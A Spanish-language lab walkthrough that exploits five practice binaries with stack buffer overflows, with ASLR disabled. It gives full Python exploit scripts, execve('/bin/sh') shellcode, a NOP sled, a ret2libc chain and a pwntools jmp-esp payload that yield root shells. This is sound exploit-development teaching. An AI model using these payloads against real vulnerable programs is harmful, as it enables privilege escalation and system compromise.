Buffer Overflow For Beginners and Ret2libc
Level One
Comparación de caracteres.
Vamos a desactivar el ASRL temporalmente.
➜ levels echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
-
Lo primero que vamos hacer es analizar el código que esta escrito en C.
-
Vemos que se esta definiendo un Buffer de tamaño 32 bytes, esta asignado una variable
long key
con valor0x12345678
.
- Esta es la parte interesante ya que vemos que si se igual el valor
key
a0x42424242
se va ejecutar una/bin/sh
que es el objetivo en caso de que no sea ese valor no se hará nada.
if(key == 0x42424242) {
execve("/bin/sh", 0, 0);
}
else {
printf("%s\n", "Sorry try again...");
}
- Para saber a cuanto equivale el valor
key
podemos hacerlo desdebash
.
➜ levels echo -ne "\x42"
B%
-
Como sabemos que equivale ala letra
B
vemos que esta igualado a4
B
para poder obtener laBash
que necesitamos necesitamos enviar el tamaño del Buff que son32 bytes
+ las B para que la condición se true y se ejecute. -
Vamos a crear un script rápido en
python
que haga todo lo que necesitamos.
#!/usr/bin/python2
first = b"A" * 32 # le pasamos 32 veces A para el buffer
key = b"B" * 4 # le pasamos las 4 B
print(first + key)
-
Al cumplirse todas las condiciones nos debería de otorgar una
bash
como el usuario que esta corriendo el binario en este caso será mi usuario ya que yo lo estoy ejecutando. -
Allí podemos ver los
prints
que se cumplen y por eso nos otorga labash
.
➜ levels ./levelOne $(python2 scriptOne.py)
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Key is: 0x42424242
$ whoami
miguel
LevelTwo
Llamada a la dirección de una función que te otorga una /bin/sh.
-
Continuamos con el nivel 2 vamos a ver el código.
-
En este caso vemos que en el código se esta definiendo el
uid
al propietario del binario ósealevel2
ya que este es el segundo binario eluid
funciona para almacenar identificadores de usuario, es el identificador de usuario en Linux y antes del return podemos ver que esta llamando a una función llamadahello
.
- En esta imagen vemos el código de la función
hello
que se esta usando en el código.
-
Vemos que se define un tamaño de 28 bytes y usa
strcpy
que copea el argumento que le pasas. -
Si inspeccionamos la funciona
spawn
tenemos que pasarle 3 argumentos para que nos de unaBash
.
void spawn(void)
{
setuid(0);//privilegios de super usuario
char *args[] = {"/bin/sh", NULL}; // Argumentos para /bin/sh
char *env[] = {NULL}; // No se pasan variables de entorno
execve("/bin/sh", args, env); // se interpreta la bash
return;
}
- Para empezar vamos a usar
gdb
que es undebugger
y lo usaremos junto con peda https://github.com/longld/peda.
➜ levels gdb -q levelTwo
Reading symbols from levelTwo...
(No debugging symbols found in levelTwo)
gdb-peda$
- En el código vimos que se esta definiendo que son 28 bytes de buffer a si que vamos a enviar 100 bytes para ver si se corrompe el binario.
gdb-peda$ pattern_arg 100
Set 1 arguments to program
- Ahora lo corremos.
gdb-peda$ run
Starting program: /home/miguel/StackOverflow/levels/levelTwo 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x6b ('k')
EBX: 0x413b4141 ('AA;A')
ECX: 0xffffcf0c --> 0x2e6b3000 ('')
EDX: 0x1
ESI: 0xffffcfe0 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41412941 ('A)AA')
ESP: 0xffffcf90 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf94 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf98 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf9c ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcfa0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcfa4 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcfa8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcfac ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$
- Ahora lo que tenemos que hacer es buscar el
offset
que es un valor para determinar la posicion en la memoria que se va a sobrescribir para esto le vamos a pasar elEIP
que es la dirección de memoria de la próxima instrucción a ejecutar, el objetivo es manipular el valor del registroEIP
para que apunte a una dirección de memoria controlada por nosotros.
gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36
- Ahora vimos que en el código hay una función
spawn
y necesitamos saber su dirección a si que vamos a buscarla.
gdb-peda$ info function ^spawn$
All functions matching regular expression "^spawn$":
Non-debugging symbols:
0x565561e9 spawn
- Y bueno ya tenemos la dirección pero como estamos en
little endian
tenemos que darle la vuelta ala dirección.
0x565561e9 | \x56\x55\x61\xe9 | \xe9\x61\x55\x56
- Ahora como ya tenemos todo listo podemos seguir con el script para que todo esto funcione.
➜ levels cat scriptTwo.py
#!/usr/bin/python2
offset = 36 # pattern_offset 0x61414145
null = b"A" * offset # vamos a pasarle eso para asta llegar al EIP
spawn = b"\xe9\x61\x55\x56" # Le pasamos la direccion para que el EIP apunte a ala funcion spawn
print(null + spawn)
- Y funciona.
➜ levels ./levelTwo $(python2 scriptTwo.py)
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�UV
# whoami
root
#
Level 3
Stack Based.
-
Vamos a observar el código.
-
Después de analizar con
ghidra
esta es la funcionamain
.
- Esta haciendo casi lo mismo pero ahora llama a la funciona
overflow
.
- Ahora define un buffer de
260 bytes
y copea el argumento con la funciónstrcpy
que habíamos visto de antes en los binarios anterior, siparam_1
contiene más de260
caracteres, los datos adicionales se escribirán en la memoria adyacente alocal_10c
, lo que puede provocar un desbordamiento de búfer.
void overflow(char *param_1)
{
char local_10c [260];
strcpy(local_10c,param_1);
printf("Buf: %s\n",local_10c);
return;
}
- Vamos a volver a usar
gdb
para corromper el binario.
➜ levels gdb -q levelThree
Reading symbols from levelThree...
(No debugging symbols found in levelThree)
gdb-peda$ pattern_arg 300
Set 1 arguments to program
gdb-peda$ run
Starting program: /home/miguel/StackOverflow/levels/levelThree 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Buf: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x132
EBX: 0x25413225 ('%2A%')
ECX: 0xffffd0bc --> 0x13ecbc00
EDX: 0x1
ESI: 0xffffd270 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x64254148 ('HA%d')
ESP: 0xffffd220 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffffd224 ("eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffffd228 ("A%JA%fA%5A%KA%gA%6A%")
0012| 0xffffd22c ("%fA%5A%KA%gA%6A%")
0016| 0xffffd230 ("5A%KA%gA%6A%")
0020| 0xffffd234 ("A%gA%6A%")
0024| 0xffffd238 ("%6A%")
0028| 0xffffd23c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()
gdb-peda$
- Ahora buscamos el
offset
le vamos a pasar elEIP
.
gdb-peda$ pattern_offset 0x41332541
1093870913 found at offset: 268
- Necesitamos 268 bytes para sobrescribir el
EIP
como no hay una función que nos otorgue unabash
vamos a definir unshellcode
podemos usar el siguiente https://www.exploit-db.com/shellcodes/13628.
#!/usr/bin/python2
offset = 268
shellcode = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"
- Ahora vamos a usar
NOP
que no realiza ninguna acción solo es para rellenar el espacio que falta en la memoria para permitir que el flujo del control del programa sea manipulado pero muy importante tenemos que restarle el tamaño delshellcode
por que no podemos pasarnos de268 bytes
para no sobrescribir elEIP
.
➜ levels cat scriptThree.py
#!/usr/bin/python2
# -*- coding: utf-8 -*-
offset = 268 #En el shellcode son las intrucciones maliciosas
shellcode = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"
junk = b"\x90" * (offset - len(shellcode)) #x90", representa la instrucción "NOP" en lenguaje de máquina
eip = b"B" * 4 #eip contiene una secuencia de caracteres "B" repetidos 4 veces, lo que representa el valor que se escribirá en el registro EIP.
print(junk + shellcode + eip)
- Ahora para probar vamos con
gdb
pasando elscript
como argumento.
gdb-peda$ run $(python2 scriptThree.py)
Starting program: /home/miguel/StackOverflow/levels/levelThree $(python2 scriptThree.py)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Buf: j
XRh//shh/bin��BBBB
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x116
EBX: 0xe3896e69
ECX: 0xffffd0dc --> 0xe67ff500
EDX: 0x1
ESI: 0xffffd290 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x80cdc931
ESP: 0xffffd240 --> 0xffffd400 --> 0x3
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd240 --> 0xffffd400 --> 0x3
0004| 0xffffd244 --> 0x0
0008| 0xffffd248 --> 0x0
0012| 0xffffd24c ("7bUV")
0016| 0xffffd250 --> 0x0
0020| 0xffffd254 --> 0x0
0024| 0xffffd258 --> 0x13
0028| 0xffffd25c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
-
Como pudimos ver
EIP
contieneBBBB
que era lo que definimos que haga en el script. -
Vamos a buscar en la pila alguna dirección que contenga los
nops
que están antes delshellcode
.
- El comando funciona para inspeccionar la memoria vamos a examinar 300 unidades
w
quiere decir que cada unidad que se examina es una palabra yx
indica que el formato de salida debe serhexadecimal
.
$esp es el registro del stack pointer en arquitecturas x86. Este registro apunta a la cima de la pila en la memoria. En el contexto de un programa que ejecuta un exploit de desbordamiento de buffer, $esp te dirá dónde está actualmente la “cima” de la pila, lo cual es crítico para entender cómo tus datos (o payload) están organizados en la memoria.
gdb-peda$ x/300wx $esp
0xffffd240: 0xffffd400 0x00000000 0x00000000 0x56556237
0xffffd250: 0x00000000 0x00000000 0x00000013 0x00000000
0xffffd260: 0xf7c216ac 0xf7fd9e61 0xf7c1c9a2 0xffffd290
0xffffd270: 0xf7e1dff4 0x56556280 0x00000000 0xf7c237c5
0xffffd280: 0x00000001 0x00000000 0x00000078 0xf7c237c5
0xffffd290: 0x00000002 0xffffd344 0xffffd350 0xffffd2b0
0xffffd2a0: 0xf7e1dff4 0x56556212 0x00000002 0xffffd344
0xffffd2b0: 0xf7e1dff4 0x56556280 0xf7ffcba0 0x00000000
0xffffd2c0: 0x8a0cc8d7 0xf1c6e2c7 0x00000000 0x00000000
0xffffd2d0: 0x00000000 0xf7ffcba0 0x00000000 0xd1348400
0xffffd2e0: 0xf7ffda30 0xf7c23756 0xf7e1dff4 0xf7c23888
0xffffd2f0: 0xf7fcaac4 0x56559000 0x00000002 0x56556090
0xffffd300: 0x00000000 0xf7fdbe80 0xf7c23809 0x56559000
0xffffd310: 0x00000002 0x56556090 0x00000000 0x565560c1
0xffffd320: 0x56556212 0x00000002 0xffffd344 0x56556280
0xffffd330: 0x565562e0 0xf7fceca0 0xffffd33c 0xf7ffda30
0xffffd340: 0x00000002 0xffffd4bc 0xffffd4e9 0x00000000
0xffffd350: 0xffffd5fa 0xffffd60e 0xffffd619 0xffffd626
0xffffd360: 0xffffd684 0xffffd693 0xffffd6b7 0xffffd6ce
0xffffd370: 0xffffdde7 0xffffddfb 0xffffde08 0xffffde12
0xffffd380: 0xffffde1d 0xffffde30 0xffffde49 0xffffde58
0xffffd390: 0xffffde63 0xffffde6e 0xffffde91 0xffffdeac
0xffffd3a0: 0xffffdeca 0xffffdee8 0xffffdef0 0xffffdf16
0xffffd3b0: 0xffffdf3f 0xffffdf54 0xffffdf5f 0xffffdf67
0xffffd3c0: 0xffffdf87 0xffffdfb6 0xffffdfbf 0x00000000
0xffffd3d0: 0x00000020 0xf7fc8570 0x00000021 0xf7fc8000
0xffffd3e0: 0x00000033 0x00000e30 0x00000010 0x0f8bfbff
0xffffd3f0: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffd400: 0x00000003 0x56555034 0x00000004 0x00000020
0xffffd410: 0x00000005 0x0000000b 0x00000007 0xf7fca000
0xffffd420: 0x00000008 0x00000000 0x00000009 0x56556090
0xffffd430: 0x0000000b 0x00000000 0x0000000c 0x00000000
0xffffd440: 0x0000000d 0x00000000 0x0000000e 0x00000000
0xffffd450: 0x00000017 0x00000000 0x00000019 0xffffd49b
0xffffd460: 0x0000001a 0x00000002 0x0000001f 0xffffdfcb
0xffffd470: 0x0000000f 0xffffd4ab 0x0000001b 0x0000001c
0xffffd480: 0x0000001c 0x00000020 0x00000000 0x00000000
0xffffd490: 0x00000000 0x00000000 0x29000000 0xf4d13484
0xffffd4a0: 0xe3943ad4 0xa212ba18 0x6939ccce 0x00363836
0xffffd4b0: 0x00000000 0x00000000 0x00000000 0x6d6f682f
0xffffd4c0: 0x696d2f65 0x6c657567 0x6174532f 0x764f6b63
0xffffd4d0: 0x6c667265 0x6c2f776f 0x6c657665 0x656c2f73
0xffffd4e0: 0x546c6576 0x65657268 0x90909000 0x90909090
0xffffd4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd500: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd510: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd520: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd530: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd540: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd550: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd560: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd570: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd580: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd590: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5e0: 0x99580b6a 0x2f2f6852 0x2f686873 0x896e6962
0xffffd5f0: 0xcdc931e3 0x42424280 0x4f430042 0x54524f4c
0xffffd600: 0x3d4d5245 0x65757274 0x6f6c6f63 0x49440072
0xffffd610: 0x414c5053 0x303a3d59 0x4e414c00 0x2e433d47
0xffffd620: 0x2d465455 0x41500038 0x2f3d4854 0x2f727375
0xffffd630: 0x61636f6c 0x62732f6c 0x2f3a6e69 0x2f727375
0xffffd640: 0x61636f6c 0x69622f6c 0x752f3a6e 0x732f7273
0xffffd650: 0x3a6e6962 0x7273752f 0x6e69622f 0x62732f3a
0xffffd660: 0x2f3a6e69 0x3a6e6962 0x7273752f 0x636f6c2f
0xffffd670: 0x672f6c61 0x73656d61 0x73752f3a 0x61672f72
0xffffd680: 0x0073656d 0x4d524554 0x616c613d 0x74697263
0xffffd690: 0x58007974 0x48545541 0x5449524f 0x682f3d59
0xffffd6a0: 0x2f656d6f 0x7567696d 0x2e2f6c65 0x74756158
0xffffd6b0: 0x69726f68 0x58007974 0x435f4744 0x45525255
0xffffd6c0: 0x445f544e 0x544b5345 0x693d504f 0x534c0033
0xffffd6d0: 0x4c4f435f 0x3d53524f 0x303d7372 0x3d69643a
0xffffd6e0: 0x333b3130 0x6e6c3a34 0x3b31303d 0x6d3a3633
gdb-peda$
-
Bueno vamos a tomar una dirección que contengo solo
nops
que es la esta mas repetida en este caso seria esta que yo elegí0xffffd520:0x90909090
. -
Junk contiene una secuencia de caracteres
\x90
que, en hexadecimal, equivale a0x90
, que es una sola instrucciónNOP
. -
De igual forma estamos en
little endian
así que vamos a darle la vuelta.
0xffffd530 | \xff\xff\xd5\x30 | \x30\xd5\xff\xff
- Ahora lo que vamos a hacer es cambiar los 4 B que habías puesto por la dirección en los
nops
esto para que losnops
se desplacen en la pila asta llegar alshellcode
y se ejecute.
➜ levels cat otro.py
#!/usr/bin/python2
# -*- coding: utf-8 -*-
offset = 268 # En el shellcode son las instrucciones maliciosas
shellcode = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"
# x90 representa la instrucción "NOP" en lenguaje de máquina
junk = b"\x90" * (offset - len(shellcode))
# Usamos la dirección deseada en little endian
eip = b"\x30\xd5\xff\xff"
# Salida del payload completo
print(junk + shellcode + eip)
- Ahora lo ejecutamos.
➜ levels ./levelThree $(python2 otro.py)
Buf: j
XRh//shh/bin��0�
# whoami
root
Ret2libc
-
Ret2libc
, abreviatura de “return-to-libc
”, es una técnica clásica de explotación utilizada para eludir medidas de seguridad que previenen la ejecución de código inyectado, como las protecciones contra ejecución en la pila (stack
). Esta técnica implica manipular la pila de llamadas de un programa vulnerable para hacer que ejecute funciones ya presentes en la bibliotecalibc
, comosystem()
, que puede ejecutar comandos deshell
. -
Vamos analizar el código.
-
Esta es la función main.
- Esta es la función
overflow
y vemos que le esta dando 20 bytes de tamaño al buffer.
-
El problema de ahora es que no podemos correr el
shellcode
de antes por que mide mas del buffer asignado. -
Comenzamos enviado 50 bytes.
➜ levels gdb -q levelFour
Reading symbols from levelFour...
(No debugging symbols found in levelFour)
gdb-peda$ pattern_arg 50
Set 1 arguments to program
gdb-peda$ run
Starting program: /home/miguel/StackOverflow/levels/levelFour 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Buf: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0x41412d41 ('A-AA')
ECX: 0xffffcf4c --> 0x48d58600
EDX: 0x1
ESI: 0xffffd010 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x44414128 ('(AAD')
ESP: 0xffffcfc0 ("A)AAEAAaAA0AAFAAbA")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfc0 ("A)AAEAAaAA0AAFAAbA")
0004| 0xffffcfc4 ("EAAaAA0AAFAAbA")
0008| 0xffffcfc8 ("AA0AAFAAbA")
0012| 0xffffcfcc ("AFAAbA")
0016| 0xffffcfd0 --> 0x4162 ('bA')
0020| 0xffffcfd4 --> 0x0
0024| 0xffffcfd8 --> 0x13
0028| 0xffffcfdc --> 0x3e8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$
- Vamos a ver el
offset
.
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
- En este tipo de explotaciones tenemos que saber la dirección de la función
system
yexit
ya que son funciones delibc
.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7c4c870 <system>
gdb-peda$
- Ahora la dirección de
exit
.
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7c3c130 <exit>
- Ahora vamos a ver la dirección de
/bin/sh
delibc
.
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc.so.6 : 0xf7db5fc8 ("/bin/sh")
- Estamos en
little endian
entonces tenemos que darle la vuelta a todas las direcciones.
0xf7c4c870 | \xf7\xc4\xc8\x70
0xf7c3c130 | \xf7\xc3\xc1\x30
0xf7db5fc8 | \xf7\xdb\x5f\xc8
- Ahora definimos el script.
➜ levels cat levelFour.py
#!/usr/bin/python2
offset = 28
junk = b"A" * offset
addr_system = b"\x70\xc8\xc4\xf7"
addr_exit = b"\x30\xc1\xc3\xf7"
addr_bin_sh = b"\xc8\x5f\xdb\xf7" # aqui es donde llamamos a /bin/bash para que nos de una shell
print(junk + addr_system + addr_exit + addr_bin_sh)
- Lo ejecutamos.
➜ levels ./levelFour $(python2 levelFour.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAp�0���
# whoami
root
Level 5
- Gracias a xchg2pwn por la aportación https://xchg2pwn.github.io.
#!/usr/bin/python2
from pwn import process, p32
shell = process("./levelFive")
offset = 16
junk = b"A" * offset
jmpesp = p32(0xf7dd4ff7)
setuid = b"1\xdbj\x17X\xcd\x80"
shellcode = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"
shell.sendline(junk + jmpesp + setuid + shellcode)
shell.interactive()